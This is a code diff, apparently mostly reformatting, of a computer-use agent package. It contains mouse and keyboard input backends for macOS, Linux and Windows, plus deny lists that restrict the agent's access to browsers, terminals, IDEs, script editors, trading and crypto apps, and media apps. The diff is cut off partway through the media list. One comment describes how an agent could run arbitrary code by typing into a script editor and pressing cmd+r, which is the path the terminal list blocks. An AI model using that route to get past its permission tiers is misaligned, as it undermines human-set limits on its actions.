function buildMouseJxa(
eventType: string,
x: number,
y: number,
btn: number,
clickState?: number,
): string {
let script = `ObjC.import("CoreGraphics"); var p = $.CGPointMake(${x},${y}); var e = $.CGEventCreateMouseEvent(null, $.${eventType}, p, ${btn});`
if (clickState !== undefined) {
script += ` $.CGEventSetIntegerValueField(e, $.kCGMouseEventClickState, ${clickState});`
@@ -61,11 +98,13 @@ export const key: InputBackend['key'] = async (keyName, action) => {
if (keyCode !== undefined) {
await osascript(`tell application "System Events" to key code ${keyCode}`)
} else {
await osascript(`tell application "System Events" to keystroke "${keyName.length === 1 ? keyName : lower}"`)
await osascript(
`tell application "System Events" to keystroke "${keyName.length === 1 ? keyName : lower}"`,
)
}
}
export const keys: InputBackend['keys'] = async (parts) => {
export const keys: InputBackend['keys'] = async parts => {
const modifiers: string[] = []
let finalKey: string | null = null
for (const part of parts) {
@@ -78,23 +117,43 @@ export const keys: InputBackend['keys'] = async (parts) => {
const keyCode = KEY_MAP[lower]
const modStr = modifiers.length > 0 ? ` using {${modifiers.join(', ')}}` : ''
if (keyCode !== undefined) {
await osascript(`tell application "System Events" to key code ${keyCode}${modStr}`)
await osascript(
`tell application "System Events" to key code ${keyCode}${modStr}`,
)
} else {
await osascript(`tell application "System Events" to keystroke "${finalKey.length === 1 ? finalKey : lower}"${modStr}`)
await osascript(
`tell application "System Events" to keystroke "${finalKey.length === 1 ? finalKey : lower}"${modStr}`,
)
}
}
export const mouseLocation: InputBackend['mouseLocation'] = async () => {
const result = await jxa('ObjC.import("CoreGraphics"); var e = $.CGEventCreate(null); var p = $.CGEventGetLocation(e); p.x + "," + p.y')
const result = await jxa(
'ObjC.import("CoreGraphics"); var e = $.CGEventCreate(null); var p = $.CGEventGetLocation(e); p.x + "," + p.y',
)
const [xStr, yStr] = result.split(',')
return { x: Math.round(Number(xStr)), y: Math.round(Number(yStr)) }
}
export const mouseButton: InputBackend['mouseButton'] = async (button, action, count) => {
export const mouseButton: InputBackend['mouseButton'] = async (
button,
action,
count,
) => {
const pos = await mouseLocation()
const btn = button === 'left' ? 0 : button === 'right' ? 1 : 2
const downType = btn === 0 ? 'kCGEventLeftMouseDown' : btn === 1 ? 'kCGEventRightMouseDown' : 'kCGEventOtherMouseDown'
const upType = btn === 0 ? 'kCGEventLeftMouseUp' : btn === 1 ? 'kCGEventRightMouseUp' : 'kCGEventOtherMouseUp'
const downType =
btn === 0
? 'kCGEventLeftMouseDown'
: btn === 1
? 'kCGEventRightMouseDown'
: 'kCGEventOtherMouseDown'
const upType =
btn === 0
? 'kCGEventLeftMouseUp'
: btn === 1
? 'kCGEventRightMouseUp'
: 'kCGEventOtherMouseUp'
if (action === 'click') {
for (let i = 0; i < (count ?? 1); i++) {
@@ -108,28 +167,39 @@ export const mouseButton: InputBackend['mouseButton'] = async (button, action, c
}
}
export const mouseScroll: InputBackend['mouseScroll'] = async (amount, direction) => {
const script = direction === 'vertical'
? `ObjC.import("CoreGraphics"); var e = $.CGEventCreateScrollWheelEvent(null, 0, 1, ${amount}); $.CGEventPost($.kCGHIDEventTap, e);`
: `ObjC.import("CoreGraphics"); var e = $.CGEventCreateScrollWheelEvent(null, 0, 2, 0, ${amount}); $.CGEventPost($.kCGHIDEventTap, e);`
export const mouseScroll: InputBackend['mouseScroll'] = async (
amount,
direction,
) => {
const script =
direction === 'vertical'
? `ObjC.import("CoreGraphics"); var e = $.CGEventCreateScrollWheelEvent(null, 0, 1, ${amount}); $.CGEventPost($.kCGHIDEventTap, e);`
: `ObjC.import("CoreGraphics"); var e = $.CGEventCreateScrollWheelEvent(null, 0, 2, 0, ${amount}); $.CGEventPost($.kCGHIDEventTap, e);`
await jxa(script)
}
export const typeText: InputBackend['typeText'] = async (text) => {
export const typeText: InputBackend['typeText'] = async text => {
const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"')
await osascript(`tell application "System Events" to keystroke "${escaped}"`)
}
export const getFrontmostAppInfo: InputBackend['getFrontmostAppInfo'] = () => {
try {
const output = execFileSync('osascript', ['-e', `
const output = execFileSync(
'osascript',
[
'-e',
`
tell application "System Events"
set frontApp to first application process whose frontmost is true
set appName to name of frontApp
set bundleId to bundle identifier of frontApp
return bundleId & "|" & appName
end tell
`], { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'ignore'] }).trim()
`,
],
{ encoding: 'utf-8', stdio: ['pipe', 'pipe', 'ignore'] },
).trim()
if (!output || !output.includes('|')) return null
const [bundleId, appName] = output.split('|', 2)
return { bundleId: bundleId!, appName: appName! }

View File

@@ -32,23 +32,75 @@ async function runAsync(cmd: string[]): Promise<string> {
// ---------------------------------------------------------------------------
const KEY_MAP: Record<string, string> = {
return: 'Return', enter: 'Return', tab: 'Tab', space: 'space',
backspace: 'BackSpace', delete: 'Delete', escape: 'Escape', esc: 'Escape',
left: 'Left', up: 'Up', right: 'Right', down: 'Down',
home: 'Home', end: 'End', pageup: 'Prior', pagedown: 'Next',
f1: 'F1', f2: 'F2', f3: 'F3', f4: 'F4', f5: 'F5', f6: 'F6',
f7: 'F7', f8: 'F8', f9: 'F9', f10: 'F10', f11: 'F11', f12: 'F12',
shift: 'shift', lshift: 'shift', rshift: 'shift',
control: 'ctrl', ctrl: 'ctrl', lcontrol: 'ctrl', rcontrol: 'ctrl',
alt: 'alt', option: 'alt', lalt: 'alt', ralt: 'alt',
win: 'super', meta: 'super', command: 'super', cmd: 'super', super: 'super',
insert: 'Insert', printscreen: 'Print', pause: 'Pause',
numlock: 'Num_Lock', capslock: 'Caps_Lock', scrolllock: 'Scroll_Lock',
return: 'Return',
enter: 'Return',
tab: 'Tab',
space: 'space',
backspace: 'BackSpace',
delete: 'Delete',
escape: 'Escape',
esc: 'Escape',
left: 'Left',
up: 'Up',
right: 'Right',
down: 'Down',
home: 'Home',
end: 'End',
pageup: 'Prior',
pagedown: 'Next',
f1: 'F1',
f2: 'F2',
f3: 'F3',
f4: 'F4',
f5: 'F5',
f6: 'F6',
f7: 'F7',
f8: 'F8',
f9: 'F9',
f10: 'F10',
f11: 'F11',
f12: 'F12',
shift: 'shift',
lshift: 'shift',
rshift: 'shift',
control: 'ctrl',
ctrl: 'ctrl',
lcontrol: 'ctrl',
rcontrol: 'ctrl',
alt: 'alt',
option: 'alt',
lalt: 'alt',
ralt: 'alt',
win: 'super',
meta: 'super',
command: 'super',
cmd: 'super',
super: 'super',
insert: 'Insert',
printscreen: 'Print',
pause: 'Pause',
numlock: 'Num_Lock',
capslock: 'Caps_Lock',
scrolllock: 'Scroll_Lock',
}
const MODIFIER_KEYS = new Set([
'shift', 'lshift', 'rshift', 'control', 'ctrl', 'lcontrol', 'rcontrol',
'alt', 'option', 'lalt', 'ralt', 'win', 'meta', 'command', 'cmd', 'super',
'shift',
'lshift',
'rshift',
'control',
'ctrl',
'lcontrol',
'rcontrol',
'alt',
'option',
'lalt',
'ralt',
'win',
'meta',
'command',
'cmd',
'super',
])
function mapKey(name: string): string {
@@ -68,7 +120,13 @@ function mouseButtonNum(button: 'left' | 'right' | 'middle'): string {
// ---------------------------------------------------------------------------
export const moveMouse: InputBackend['moveMouse'] = async (x, y, _animated) => {
run(['xdotool', 'mousemove', '--sync', String(Math.round(x)), String(Math.round(y))])
run([
'xdotool',
'mousemove',
'--sync',
String(Math.round(x)),
String(Math.round(y)),
])
}
export const mouseLocation: InputBackend['mouseLocation'] = async () => {
@@ -82,7 +140,11 @@ export const mouseLocation: InputBackend['mouseLocation'] = async () => {
}
}
export const mouseButton: InputBackend['mouseButton'] = async (button, action, count) => {
export const mouseButton: InputBackend['mouseButton'] = async (
button,
action,
count,
) => {
const btn = mouseButtonNum(button)
if (action === 'click') {
const n = count ?? 1
@@ -94,7 +156,10 @@ export const mouseButton: InputBackend['mouseButton'] = async (button, action, c
}
}
export const mouseScroll: InputBackend['mouseScroll'] = async (amount, direction) => {
export const mouseScroll: InputBackend['mouseScroll'] = async (
amount,
direction,
) => {
// xdotool click 4=scroll up, 5=scroll down, 6=scroll left, 7=scroll right
// Positive amount = down/right, negative = up/left
if (direction === 'vertical') {
@@ -121,7 +186,7 @@ export const key: InputBackend['key'] = async (keyName, action) => {
}
}
export const keys: InputBackend['keys'] = async (parts) => {
export const keys: InputBackend['keys'] = async parts => {
// xdotool key accepts "modifier+modifier+key" format
const modifiers: string[] = []
let finalKey: string | null = null
@@ -139,7 +204,7 @@ export const keys: InputBackend['keys'] = async (parts) => {
run(['xdotool', 'key', combo])
}
export const typeText: InputBackend['typeText'] = async (text) => {
export const typeText: InputBackend['typeText'] = async text => {
run(['xdotool', 'type', '--delay', '12', text])
}
@@ -157,16 +222,23 @@ export const getFrontmostAppInfo: InputBackend['getFrontmostAppInfo'] = () => {
let exePath = ''
try {
exePath = run(['readlink', '-f', `/proc/${pid}/exe`])
} catch { /* ignore */ }
} catch {
/* ignore */
}
// Read the process name from /proc/comm
let appName = ''
try {
appName = run(['cat', `/proc/${pid}/comm`])
} catch { /* ignore */ }
} catch {
/* ignore */
}
if (!exePath && !appName) return null
return { bundleId: exePath || `/proc/${pid}/exe`, appName: appName || 'unknown' }
return {
bundleId: exePath || `/proc/${pid}/exe`,
appName: appName || 'unknown',
}
} catch {
return null
}

View File

@@ -92,43 +92,112 @@ public class CuWin32 {
// ---------------------------------------------------------------------------
const VK_MAP: Record<string, number> = {
return: 0x0D, enter: 0x0D, tab: 0x09, space: 0x20,
backspace: 0x08, delete: 0x2E, escape: 0x1B, esc: 0x1B,
left: 0x25, up: 0x26, right: 0x27, down: 0x28,
home: 0x24, end: 0x23, pageup: 0x21, pagedown: 0x22,
f1: 0x70, f2: 0x71, f3: 0x72, f4: 0x73, f5: 0x74, f6: 0x75,
f7: 0x76, f8: 0x77, f9: 0x78, f10: 0x79, f11: 0x7A, f12: 0x7B,
shift: 0xA0, lshift: 0xA0, rshift: 0xA1,
control: 0xA2, ctrl: 0xA2, lcontrol: 0xA2, rcontrol: 0xA3,
alt: 0xA4, option: 0xA4, lalt: 0xA4, ralt: 0xA5,
win: 0x5B, meta: 0x5B, command: 0x5B, cmd: 0x5B, super: 0x5B,
insert: 0x2D, printscreen: 0x2C, pause: 0x13,
numlock: 0x90, capslock: 0x14, scrolllock: 0x91,
return: 0x0d,
enter: 0x0d,
tab: 0x09,
space: 0x20,
backspace: 0x08,
delete: 0x2e,
escape: 0x1b,
esc: 0x1b,
left: 0x25,
up: 0x26,
right: 0x27,
down: 0x28,
home: 0x24,
end: 0x23,
pageup: 0x21,
pagedown: 0x22,
f1: 0x70,
f2: 0x71,
f3: 0x72,
f4: 0x73,
f5: 0x74,
f6: 0x75,
f7: 0x76,
f8: 0x77,
f9: 0x78,
f10: 0x79,
f11: 0x7a,
f12: 0x7b,
shift: 0xa0,
lshift: 0xa0,
rshift: 0xa1,
control: 0xa2,
ctrl: 0xa2,
lcontrol: 0xa2,
rcontrol: 0xa3,
alt: 0xa4,
option: 0xa4,
lalt: 0xa4,
ralt: 0xa5,
win: 0x5b,
meta: 0x5b,
command: 0x5b,
cmd: 0x5b,
super: 0x5b,
insert: 0x2d,
printscreen: 0x2c,
pause: 0x13,
numlock: 0x90,
capslock: 0x14,
scrolllock: 0x91,
}
const MODIFIER_KEYS = new Set(['shift', 'lshift', 'rshift', 'control', 'ctrl', 'lcontrol', 'rcontrol', 'alt', 'option', 'lalt', 'ralt', 'win', 'meta', 'command', 'cmd', 'super'])
const MODIFIER_KEYS = new Set([
'shift',
'lshift',
'rshift',
'control',
'ctrl',
'lcontrol',
'rcontrol',
'alt',
'option',
'lalt',
'ralt',
'win',
'meta',
'command',
'cmd',
'super',
])
// ---------------------------------------------------------------------------
// Implementation
// ---------------------------------------------------------------------------
export const moveMouse: InputBackend['moveMouse'] = async (x, y, _animated) => {
ps(`${WIN32_TYPES}; [CuWin32]::SetCursorPos(${Math.round(x)}, ${Math.round(y)}) | Out-Null`)
ps(
`${WIN32_TYPES}; [CuWin32]::SetCursorPos(${Math.round(x)}, ${Math.round(y)}) | Out-Null`,
)
}
export const mouseLocation: InputBackend['mouseLocation'] = async () => {
const out = ps(`${WIN32_TYPES}; $p = New-Object CuWin32+POINT; [CuWin32]::GetCursorPos([ref]$p) | Out-Null; "$($p.X),$($p.Y)"`)
const out = ps(
`${WIN32_TYPES}; $p = New-Object CuWin32+POINT; [CuWin32]::GetCursorPos([ref]$p) | Out-Null; "$($p.X),$($p.Y)"`,
)
const [xStr, yStr] = out.split(',')
return { x: Number(xStr), y: Number(yStr) }
}
export const mouseButton: InputBackend['mouseButton'] = async (button, action, count) => {
const downFlag = button === 'left' ? 'MOUSEEVENTF_LEFTDOWN'
: button === 'right' ? 'MOUSEEVENTF_RIGHTDOWN'
: 'MOUSEEVENTF_MIDDLEDOWN'
const upFlag = button === 'left' ? 'MOUSEEVENTF_LEFTUP'
: button === 'right' ? 'MOUSEEVENTF_RIGHTUP'
: 'MOUSEEVENTF_MIDDLEUP'
export const mouseButton: InputBackend['mouseButton'] = async (
button,
action,
count,
) => {
const downFlag =
button === 'left'
? 'MOUSEEVENTF_LEFTDOWN'
: button === 'right'
? 'MOUSEEVENTF_RIGHTDOWN'
: 'MOUSEEVENTF_MIDDLEDOWN'
const upFlag =
button === 'left'
? 'MOUSEEVENTF_LEFTUP'
: button === 'right'
? 'MOUSEEVENTF_RIGHTUP'
: 'MOUSEEVENTF_MIDDLEUP'
if (action === 'click') {
const n = count ?? 1
@@ -136,17 +205,29 @@ export const mouseButton: InputBackend['mouseButton'] = async (button, action, c
for (let i = 0; i < n; i++) {
clicks += `$i.mi.dwFlags=[CuWin32]::${downFlag}; [CuWin32]::SendInput(1, @($i), [Runtime.InteropServices.Marshal]::SizeOf($i)) | Out-Null; $i.mi.dwFlags=[CuWin32]::${upFlag}; [CuWin32]::SendInput(1, @($i), [Runtime.InteropServices.Marshal]::SizeOf($i)) | Out-Null; `
}
ps(`${WIN32_TYPES}; $i = New-Object CuWin32+INPUT; $i.type=[CuWin32]::INPUT_MOUSE; ${clicks}`)
ps(
`${WIN32_TYPES}; $i = New-Object CuWin32+INPUT; $i.type=[CuWin32]::INPUT_MOUSE; ${clicks}`,
)
} else if (action === 'press') {
ps(`${WIN32_TYPES}; $i = New-Object CuWin32+INPUT; $i.type=[CuWin32]::INPUT_MOUSE; $i.mi.dwFlags=[CuWin32]::${downFlag}; [CuWin32]::SendInput(1, @($i), [Runtime.InteropServices.Marshal]::SizeOf($i)) | Out-Null`)
ps(
`${WIN32_TYPES}; $i = New-Object CuWin32+INPUT; $i.type=[CuWin32]::INPUT_MOUSE; $i.mi.dwFlags=[CuWin32]::${downFlag}; [CuWin32]::SendInput(1, @($i), [Runtime.InteropServices.Marshal]::SizeOf($i)) | Out-Null`,
)
} else {
ps(`${WIN32_TYPES}; $i = New-Object CuWin32+INPUT; $i.type=[CuWin32]::INPUT_MOUSE; $i.mi.dwFlags=[CuWin32]::${upFlag}; [CuWin32]::SendInput(1, @($i), [Runtime.InteropServices.Marshal]::SizeOf($i)) | Out-Null`)
ps(
`${WIN32_TYPES}; $i = New-Object CuWin32+INPUT; $i.type=[CuWin32]::INPUT_MOUSE; $i.mi.dwFlags=[CuWin32]::${upFlag}; [CuWin32]::SendInput(1, @($i), [Runtime.InteropServices.Marshal]::SizeOf($i)) | Out-Null`,
)
}
}
export const mouseScroll: InputBackend['mouseScroll'] = async (amount, direction) => {
const flag = direction === 'vertical' ? 'MOUSEEVENTF_WHEEL' : 'MOUSEEVENTF_HWHEEL'
ps(`${WIN32_TYPES}; $i = New-Object CuWin32+INPUT; $i.type=[CuWin32]::INPUT_MOUSE; $i.mi.dwFlags=[CuWin32]::${flag}; $i.mi.mouseData=${amount * 120}; [CuWin32]::SendInput(1, @($i), [Runtime.InteropServices.Marshal]::SizeOf($i)) | Out-Null`)
export const mouseScroll: InputBackend['mouseScroll'] = async (
amount,
direction,
) => {
const flag =
direction === 'vertical' ? 'MOUSEEVENTF_WHEEL' : 'MOUSEEVENTF_HWHEEL'
ps(
`${WIN32_TYPES}; $i = New-Object CuWin32+INPUT; $i.type=[CuWin32]::INPUT_MOUSE; $i.mi.dwFlags=[CuWin32]::${flag}; $i.mi.mouseData=${amount * 120}; [CuWin32]::SendInput(1, @($i), [Runtime.InteropServices.Marshal]::SizeOf($i)) | Out-Null`,
)
}
export const key: InputBackend['key'] = async (keyName, action) => {
@@ -154,15 +235,19 @@ export const key: InputBackend['key'] = async (keyName, action) => {
const vk = VK_MAP[lower]
const flags = action === 'release' ? '2' : '0'
if (vk !== undefined) {
ps(`${WIN32_TYPES}; [CuWin32]::keybd_event(${vk}, 0, ${flags}, [UIntPtr]::Zero)`)
ps(
`${WIN32_TYPES}; [CuWin32]::keybd_event(${vk}, 0, ${flags}, [UIntPtr]::Zero)`,
)
} else if (keyName.length === 1) {
// Single character — use VkKeyScan to resolve
const charCode = keyName.charCodeAt(0)
ps(`${WIN32_TYPES}; $vk = [CuWin32]::VkKeyScan([char]${charCode}) -band 0xFF; [CuWin32]::keybd_event([byte]$vk, 0, ${flags}, [UIntPtr]::Zero)`)
ps(
`${WIN32_TYPES}; $vk = [CuWin32]::VkKeyScan([char]${charCode}) -band 0xFF; [CuWin32]::keybd_event([byte]$vk, 0, ${flags}, [UIntPtr]::Zero)`,
)
}
}
export const keys: InputBackend['keys'] = async (parts) => {
export const keys: InputBackend['keys'] = async parts => {
const modifiers: number[] = []
let finalKey: string | null = null
@@ -196,9 +281,11 @@ export const keys: InputBackend['keys'] = async (parts) => {
ps(script)
}
export const typeText: InputBackend['typeText'] = async (text) => {
export const typeText: InputBackend['typeText'] = async text => {
const escaped = text.replace(/'/g, "''")
ps(`Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('${escaped}')`)
ps(
`Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('${escaped}')`,
)
}
export const getFrontmostAppInfo: InputBackend['getFrontmostAppInfo'] = () => {

View File

@@ -15,8 +15,15 @@ export interface InputBackend {
key(key: string, action: 'press' | 'release'): Promise<void>
keys(parts: string[]): Promise<void>
mouseLocation(): Promise<{ x: number; y: number }>
mouseButton(button: 'left' | 'right' | 'middle', action: 'click' | 'press' | 'release', count?: number): Promise<void>
mouseScroll(amount: number, direction: 'vertical' | 'horizontal'): Promise<void>
mouseButton(
button: 'left' | 'right' | 'middle',
action: 'click' | 'press' | 'release',
count?: number,
): Promise<void>
mouseScroll(
amount: number,
direction: 'vertical' | 'horizontal',
): Promise<void>
typeText(text: string): Promise<void>
getFrontmostAppInfo(): FrontmostAppInfo | null
}
@@ -60,5 +67,7 @@ export class ComputerUseInputAPI {
declare isSupported: true
}
interface ComputerUseInputUnsupported { isSupported: false }
interface ComputerUseInputUnsupported {
isSupported: false
}
export type ComputerUseInput = ComputerUseInputAPI | ComputerUseInputUnsupported

View File

@@ -1,5 +1,5 @@
export interface FrontmostAppInfo {
bundleId: string // macOS: bundle ID, Windows: exe path
bundleId: string // macOS: bundle ID, Windows: exe path
appName: string
}
@@ -13,7 +13,10 @@ export interface InputBackend {
action: 'click' | 'press' | 'release',
count?: number,
): Promise<void>
mouseScroll(amount: number, direction: 'vertical' | 'horizontal'): Promise<void>
mouseScroll(
amount: number,
direction: 'vertical' | 'horizontal',
): Promise<void>
typeText(text: string): Promise<void>
getFrontmostAppInfo(): FrontmostAppInfo | null
}

View File

@@ -1,13 +1,13 @@
{
"name": "@ant/computer-use-mcp",
"version": "1.0.0",
"private": true,
"type": "module",
"main": "./src/index.ts",
"types": "./src/index.ts",
"exports": {
".": "./src/index.ts",
"./sentinelApps": "./src/sentinelApps.ts",
"./types": "./src/types.ts"
}
"name": "@ant/computer-use-mcp",
"version": "1.0.0",
"private": true,
"type": "module",
"main": "./src/index.ts",
"types": "./src/index.ts",
"exports": {
".": "./src/index.ts",
"./sentinelApps": "./src/sentinelApps.ts",
"./types": "./src/types.ts"
}
}

View File

@@ -31,7 +31,7 @@
* duplicated as a string literal below rather than imported.
*/
export type DeniedCategory = "browser" | "terminal" | "trading";
export type DeniedCategory = 'browser' | 'terminal' | 'trading'
/**
* Map a category to its hardcoded tier. Return-type is the string-literal
@@ -44,54 +44,54 @@ export type DeniedCategory = "browser" | "terminal" | "trading";
*/
export function categoryToTier(
category: DeniedCategory | null,
): "read" | "click" | "full" {
if (category === "browser" || category === "trading") return "read";
if (category === "terminal") return "click";
return "full";
): 'read' | 'click' | 'full' {
if (category === 'browser' || category === 'trading') return 'read'
if (category === 'terminal') return 'click'
return 'full'
}
// ─── Bundle-ID deny sets (macOS) ─────────────────────────────────────────
const BROWSER_BUNDLE_IDS: ReadonlySet<string> = new Set([
// Apple
"com.apple.Safari",
"com.apple.SafariTechnologyPreview",
'com.apple.Safari',
'com.apple.SafariTechnologyPreview',
// Google
"com.google.Chrome",
"com.google.Chrome.beta",
"com.google.Chrome.dev",
"com.google.Chrome.canary",
'com.google.Chrome',
'com.google.Chrome.beta',
'com.google.Chrome.dev',
'com.google.Chrome.canary',
// Microsoft
"com.microsoft.edgemac",
"com.microsoft.edgemac.Beta",
"com.microsoft.edgemac.Dev",
"com.microsoft.edgemac.Canary",
'com.microsoft.edgemac',
'com.microsoft.edgemac.Beta',
'com.microsoft.edgemac.Dev',
'com.microsoft.edgemac.Canary',
// Mozilla
"org.mozilla.firefox",
"org.mozilla.firefoxdeveloperedition",
"org.mozilla.nightly",
'org.mozilla.firefox',
'org.mozilla.firefoxdeveloperedition',
'org.mozilla.nightly',
// Chromium-based
"org.chromium.Chromium",
"com.brave.Browser",
"com.brave.Browser.beta",
"com.brave.Browser.nightly",
"com.operasoftware.Opera",
"com.operasoftware.OperaGX",
"com.operasoftware.OperaDeveloper",
"com.vivaldi.Vivaldi",
'org.chromium.Chromium',
'com.brave.Browser',
'com.brave.Browser.beta',
'com.brave.Browser.nightly',
'com.operasoftware.Opera',
'com.operasoftware.OperaGX',
'com.operasoftware.OperaDeveloper',
'com.vivaldi.Vivaldi',
// The Browser Company
"company.thebrowser.Browser", // Arc
"company.thebrowser.dia", // Dia (agentic)
'company.thebrowser.Browser', // Arc
'company.thebrowser.dia', // Dia (agentic)
// Privacy-focused
"org.torproject.torbrowser",
"com.duckduckgo.macos.browser",
"ru.yandex.desktop.yandex-browser",
'org.torproject.torbrowser',
'com.duckduckgo.macos.browser',
'ru.yandex.desktop.yandex-browser',
// Agentic / AI browsers — newer entrants with LLM integrations
"ai.perplexity.comet",
"com.sigmaos.sigmaos.macos", // SigmaOS
'ai.perplexity.comet',
'com.sigmaos.sigmaos.macos', // SigmaOS
// Webkit-based misc
"com.kagi.kagimacOS", // Orion
]);
'com.kagi.kagimacOS', // Orion
])
/**
* Terminals + IDEs with integrated terminals. Supersets
@@ -101,66 +101,66 @@ const BROWSER_BUNDLE_IDS: ReadonlySet<string> = new Set([
*/
const TERMINAL_BUNDLE_IDS: ReadonlySet<string> = new Set([
// Dedicated terminals
"com.apple.Terminal",
"com.googlecode.iterm2",
"dev.warp.Warp-Stable",
"dev.warp.Warp-Beta",
"com.github.wez.wezterm",
"org.alacritty",
"io.alacritty", // pre-v0.11.0 (renamed 2022-07) — kept for legacy installs
"net.kovidgoyal.kitty",
"co.zeit.hyper",
"com.mitchellh.ghostty",
"org.tabby",
"com.termius-dmg.mac", // Termius
'com.apple.Terminal',
'com.googlecode.iterm2',
'dev.warp.Warp-Stable',
'dev.warp.Warp-Beta',
'com.github.wez.wezterm',
'org.alacritty',
'io.alacritty', // pre-v0.11.0 (renamed 2022-07) — kept for legacy installs
'net.kovidgoyal.kitty',
'co.zeit.hyper',
'com.mitchellh.ghostty',
'org.tabby',
'com.termius-dmg.mac', // Termius
// IDEs with integrated terminals — we can't distinguish "type in the
// editor" from "type in the integrated terminal" via screenshot+click.
// VS Code family
"com.microsoft.VSCode",
"com.microsoft.VSCodeInsiders",
"com.vscodium", // VSCodium
"com.todesktop.230313mzl4w4u92", // Cursor
"com.exafunction.windsurf", // Windsurf / Codeium
"dev.zed.Zed",
"dev.zed.Zed-Preview",
'com.microsoft.VSCode',
'com.microsoft.VSCodeInsiders',
'com.vscodium', // VSCodium
'com.todesktop.230313mzl4w4u92', // Cursor
'com.exafunction.windsurf', // Windsurf / Codeium
'dev.zed.Zed',
'dev.zed.Zed-Preview',
// JetBrains family (all have integrated terminals)
"com.jetbrains.intellij",
"com.jetbrains.intellij.ce",
"com.jetbrains.pycharm",
"com.jetbrains.pycharm.ce",
"com.jetbrains.WebStorm",
"com.jetbrains.CLion",
"com.jetbrains.goland",
"com.jetbrains.rubymine",
"com.jetbrains.PhpStorm",
"com.jetbrains.datagrip",
"com.jetbrains.rider",
"com.jetbrains.AppCode",
"com.jetbrains.rustrover",
"com.jetbrains.fleet",
"com.google.android.studio", // Android Studio (JetBrains-based)
'com.jetbrains.intellij',
'com.jetbrains.intellij.ce',
'com.jetbrains.pycharm',
'com.jetbrains.pycharm.ce',
'com.jetbrains.WebStorm',
'com.jetbrains.CLion',
'com.jetbrains.goland',
'com.jetbrains.rubymine',
'com.jetbrains.PhpStorm',
'com.jetbrains.datagrip',
'com.jetbrains.rider',
'com.jetbrains.AppCode',
'com.jetbrains.rustrover',
'com.jetbrains.fleet',
'com.google.android.studio', // Android Studio (JetBrains-based)
// Other IDEs
"com.axosoft.gitkraken", // GitKraken has an integrated terminal panel. Also keeps the "kraken" trading-substring from miscategorizing it — bundle-ID wins.
"com.sublimetext.4",
"com.sublimetext.3",
"org.vim.MacVim",
"com.neovim.neovim",
"org.gnu.Emacs",
'com.axosoft.gitkraken', // GitKraken has an integrated terminal panel. Also keeps the "kraken" trading-substring from miscategorizing it — bundle-ID wins.
'com.sublimetext.4',
'com.sublimetext.3',
'org.vim.MacVim',
'com.neovim.neovim',
'org.gnu.Emacs',
// Xcode's previous carve-out (full tier for Interface Builder / simulator)
// was reversed — at tier "click" IB and simulator taps still work (both are
// plain clicks) while the integrated terminal is blocked from keyboard input.
"com.apple.dt.Xcode",
"org.eclipse.platform.ide",
"org.netbeans.ide",
"com.microsoft.visual-studio", // Visual Studio for Mac
'com.apple.dt.Xcode',
'org.eclipse.platform.ide',
'org.netbeans.ide',
'com.microsoft.visual-studio', // Visual Studio for Mac
// AppleScript/automation execution surfaces — same threat as terminals:
// type(script) → key("cmd+r") runs arbitrary code. Added after #28011
// removed the osascript MCP server, making CU the only tool-call route
// to AppleScript.
"com.apple.ScriptEditor2",
"com.apple.Automator",
"com.apple.shortcuts",
]);
'com.apple.ScriptEditor2',
'com.apple.Automator',
'com.apple.shortcuts',
])
/**
* Trading / crypto platforms — granted at tier `"read"` so the agent can see
@@ -178,29 +178,29 @@ const TERMINAL_BUNDLE_IDS: ReadonlySet<string> = new Set([
const TRADING_BUNDLE_IDS: ReadonlySet<string> = new Set([
// Verified via Homebrew quit/zap stanzas + mdls + electron-builder source.
// Trading
"com.webull.desktop.v1", // Webull (direct download, Qt)
"com.webull.trade.mac.v1", // Webull (Mac App Store)
"com.tastytrade.desktop",
"com.tradingview.tradingviewapp.desktop",
"com.fidelity.activetrader", // Fidelity Trader+ (new)
"com.fmr.activetrader", // Fidelity Active Trader Pro (legacy)
'com.webull.desktop.v1', // Webull (direct download, Qt)
'com.webull.trade.mac.v1', // Webull (Mac App Store)
'com.tastytrade.desktop',
'com.tradingview.tradingviewapp.desktop',
'com.fidelity.activetrader', // Fidelity Trader+ (new)
'com.fmr.activetrader', // Fidelity Active Trader Pro (legacy)
// Interactive Brokers TWS — install4j wrapper; Homebrew quit stanza is
// authoritative for this exact value but install4j IDs can drift across
// major versions — name-substring "trader workstation" is the fallback.
"com.install4j.5889-6375-8446-2021",
'com.install4j.5889-6375-8446-2021',
// Crypto
"com.binance.BinanceDesktop",
"com.electron.exodus",
'com.binance.BinanceDesktop',
'com.electron.exodus',
// Electrum uses PyInstaller with bundle_identifier=None → defaults to
// org.pythonmac.unspecified.<AppName>. Confirmed in spesmilo/electrum
// source + Homebrew zap. IntuneBrew's "org.electrum.electrum" is a fork.
"org.pythonmac.unspecified.Electrum",
"com.ledger.live",
"io.trezor.TrezorSuite",
'org.pythonmac.unspecified.Electrum',
'com.ledger.live',
'io.trezor.TrezorSuite',
// No native macOS app (name-substring only): Schwab, E*TRADE, TradeStation,
// Robinhood, NinjaTrader, Coinbase, Kraken, Bloomberg. thinkorswim
// install4j ID drifts per-install — substring safer.
]);
])
// ─── Policy-deny (not a tier — cannot be granted at all) ─────────────────
//
@@ -215,78 +215,78 @@ const TRADING_BUNDLE_IDS: ReadonlySet<string> = new Set([
const POLICY_DENIED_BUNDLE_IDS: ReadonlySet<string> = new Set([
// Verified via Homebrew quit/zap + mdls /System/Applications + IntuneBrew.
// Apple built-ins
"com.apple.TV",
"com.apple.Music",
"com.apple.iBooksX",
"com.apple.podcasts",
'com.apple.TV',
'com.apple.Music',
'com.apple.iBooksX',
'com.apple.podcasts',
// Music
"com.spotify.client",
"com.amazon.music",
"com.tidal.desktop",
"com.deezer.deezer-desktop",
"com.pandora.desktop",
"com.electron.pocket-casts", // direct-download Electron wrapper
"au.com.shiftyjelly.PocketCasts", // Mac App Store
'com.spotify.client',
'com.amazon.music',
'com.tidal.desktop',
'com.deezer.deezer-desktop',
'com.pandora.desktop',
'com.electron.pocket-casts', // direct-download Electron wrapper
'au.com.shiftyjelly.PocketCasts', // Mac App Store
// Video
"tv.plex.desktop",
"tv.plex.htpc",
"tv.plex.plexamp",
"com.amazon.aiv.AIVApp", // Prime Video (iOS-on-Apple-Silicon)
'tv.plex.desktop',
'tv.plex.htpc',
'tv.plex.plexamp',
'com.amazon.aiv.AIVApp', // Prime Video (iOS-on-Apple-Silicon)
// Ebooks
"net.kovidgoyal.calibre",
